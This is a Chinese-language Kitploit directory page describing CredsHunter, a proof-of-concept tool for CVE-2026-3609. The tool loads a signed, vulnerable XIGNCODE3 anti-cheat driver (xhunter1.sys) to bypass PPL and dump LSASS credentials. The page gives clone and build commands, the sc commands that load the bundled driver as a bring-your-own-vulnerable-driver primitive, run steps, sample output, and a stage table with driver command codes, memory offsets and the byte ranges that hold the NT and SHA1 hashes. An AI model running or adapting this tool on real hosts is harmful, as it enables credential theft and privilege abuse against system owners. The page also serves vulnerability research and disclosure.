Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CredsHunter — CVE-2026-3609 的 PoC - XIGNCODE3 xhunter1.sys 句柄泄露导致能够绕过 PPL 并转储 LSASS | Kitploit
工具/GitHubGitHub/blacksnufkin/credshunter
密码破解权限提升内存取证漏洞利用二进制利用
GitHubblacksnufkin/credshunter

CredsHunter

CVE-2026-3609 的 PoC - XIGNCODE3 xhunter1.sys 句柄泄露导致能够绕过 PPL 并转储 LSASS

查看仓库
3643个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CredsHunter

CVE-2026-3609 · Writeup

LSASS凭据转储概念验证,利用Wellbia的XIGNCODE3反作弊驱动xhunter1.sys中绕过PPL的进程句柄泄漏漏洞。

该驱动暴露了一个IRP_MJ_WRITE命令接口,调用ObOpenObjectByPointer时AccessMode = KernelMode且未设置OBJ_KERNEL_HANDLE,从而将内核授予的PROCESS_ALL_ACCESS句柄直接放入调用者的句柄表中。接着,标准凭据转储代码从目标中读取lsasrv.dll的3DES密钥,并恢复每个活跃登录会话的NTLM + SHA1哈希。

受影响二进制文件

root@kitploit:~
xhunter1.sys  版本 10.0.10011.16384
SHA-256       e727d0753d2cd0b2f6eeba4cea53aa10b3ff3ed2afeb78f545fcf6d840f85c3e

本仓库中包含该有漏洞的已签名驱动(xhunter1.sys),以便端到端重现漏洞。加载前请验证哈希:

root@kitploit:~
Get-FileHash .\xhunter1.sys -Algorithm SHA256

较新的XIGNCODE3版本已修补。该有漏洞的已签名二进制文件仍可在任何能卸载并加载的主机上用作BYOVD原语。

构建

root@kitploit:~
git clone https://github.com/BlackSnufkin/CredsHunter.git
cd CredsHunter
cargo build --release

发布二进制文件位于target\release\CredsHunter.exe。

运行

将捆绑驱动作为内核服务加载(驱动的设备DACL允许任何调用者运行后访问):

root@kitploit:~
sc create xhunter type=kernel binPath=(Resolve-Path .\xhunter1.sys)
sc start xhunter

运行工具:

root@kitploit:~
.\target\release\CredsHunter.exe

之后清理:

root@kitploit:~
sc stop xhunter
sc delete xhunter

默认设备名为\\.\xhunter(与上面的服务示例名称匹配)。如果服务使用了不同名称,设备路径也会相应变化——请编辑driver::DEFAULT_DEVICE或相应调用Xhunter::open_named。

示例输出

root@kitploit:~
  xhunter1.sys BYOVD — LSASS凭据转储
  CVE-2026-3609 — 通过命令785绕过PPL(ObOpenObjectByPointer/KernelMode)

[+] OS构建 ................ 26200
[+] lsass.exe PID ......... 940
[+] 驱动已打开 ............ \\.\xhunter
[+] PPL绕过句柄 ........... 0x154 (ReadProcessMemory)
[+] lsasrv.dll ............ 本地 0x00007FFB27CB0000  远程 0x00007FFB27CB0000
[+] LSA密钥地址(本地)... AES 0x...  3DES 0x...  IV 0x...
[+] 3DES密钥(24B)........ <hex>
[+] IV .................... <hex>

===== LogonSessionList =====

[0001] LogonSession @ 0x...
  用户   : <username>
  域     : <domain>
  NTHash : <16字节hex>
  SHA1   : <20字节hex>

[...]

工作原理

项目结构

root@kitploit:~
src/
├── main.rs       # 横幅、运行流程、ExitCode处理
├── driver.rs     # Xhunter、Session、MemReader trait、协议常量
├── proc.rs       # find_pid、PEB遍历远程模块查找
├── pe.rs         # 本地PE解析 + 模式扫描 + RIP解码
├── lsa.rs        # LSA密钥模式、BCrypt密钥提取、3DES解密
├── logon.rs      # LogonSessionList遍历器 + MSV1_0偏移量
├── wdigest.rs    # WDigest列表遍历器(尽力而为)
└── sys.rs        # OS构建号

MemReader trait抽象了内存读取操作,因此凭据提取模块不依赖特定驱动原语。如果在不同读取器(例如Beacon Object File运行时、基于ptwalk的物理内存读取器)上实现该trait,则lsa / logon / wdigest模块可直接复用。

已知限制

  • WDigest明文恢复仅为尽力而为。 列表头签名是单个字节模式(48 3B D9 74),继承自原始公开PoC,且尚未针对Windows 11 build 26100+进行更新。将其构建为每个构建版本的表格并不复杂;欢迎提交PR。
  • 服务/设备名硬编码为xhunter。如果在不同名称下加载驱动,请编辑driver::DEFAULT_DEVICE或向Xhunter::open_named传递覆盖值。

免责声明

仅供研究、授权测试和防御工具使用。在非自己拥有或未经明确许可的系统上加载此有漏洞驱动在大多数司法管辖区属于犯罪。作者对任何滥用行为不承担责任。

许可证

参见LICENSE。

下载工具
阶段组件说明
1driver.rs → Xhunter::openCreateFile("\\.\\xhunter") — 设备无需认证
2driver.rs → Xhunter::open_processWriteFile 发送命令785(PID,PROCESS_ALL_ACCESS)。驱动调用 ObOpenObjectByPointer(target, 0, NULL, 0x1FFFFF, PsProcessType, KernelMode, &handle) 并将句柄写回用户响应缓冲区的 +0x10 位置。该句柄能够绕过PPL,因为 AccessMode = KernelMode 跳过了访问检查,且未设置 OBJ_KERNEL_HANDLE,因此句柄落在我们的句柄表中。
3driver.rs → Session::attach对内核授予的句柄尝试 ReadProcessMemory。如果RPM被阻止,则回退到驱动命令787(KeStackAttachProcess + memcpy)。
4lsa.rs在本地lsasrv.dll的.text段中进行模式扫描,恢复指向LsaInitializeProtectedMemory内AES密钥、3DES密钥和IV的RIP相对指针。将这些VA重定位到目标映射中,遍历BCRYPT_HANDLE_KEY → BCRYPT_KEY81,从目标中提取原始3DES字节。
5logon.rs遍历LogonSessionList(每个构建版本的签名表)。每个条目的主凭据位于+credentials → +0x10 → +0x30,包含一个0x1B0字节的3DES加密块。bcrypt.dll对其进行解密;字节70..86是NT哈希,102..122是SHA1。